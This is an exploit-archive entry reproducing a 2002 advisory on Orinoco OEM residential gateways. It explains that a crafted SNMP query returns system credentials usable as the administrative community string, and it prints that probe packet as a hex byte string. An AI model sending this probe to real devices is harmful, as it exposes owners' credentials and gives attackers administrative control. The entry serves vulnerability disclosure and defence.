Orinoco OEM Residential Gateway - SNMP Community String Remote Configuration

2002-08-09T00:00:00
ID EXPLOITPACK:09DD0C76240C6F352327B6706984ECE6
Type exploitpack
Reporter Foundstone Inc.
Modified 2002-08-09T00:00:00

Description

Orinoco OEM Residential Gateway - SNMP Community String Remote Configuration

                                        
                                            source: https://www.securityfocus.com/bid/5436/info

Orinoco is the manufacturer of various wireless network components, including access points and network cards.

It is possible to remotely gain access to the identification string used for configuration of OEM access points manufactured by Orinoco through SNMP. By sending a custom-crafted SNMP query to a vulnerable access point, the access point will return system credentials, including the identification string. This identification string can be used as the administrative community string.

The following probe packet has been made available by Foundstone:

"\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"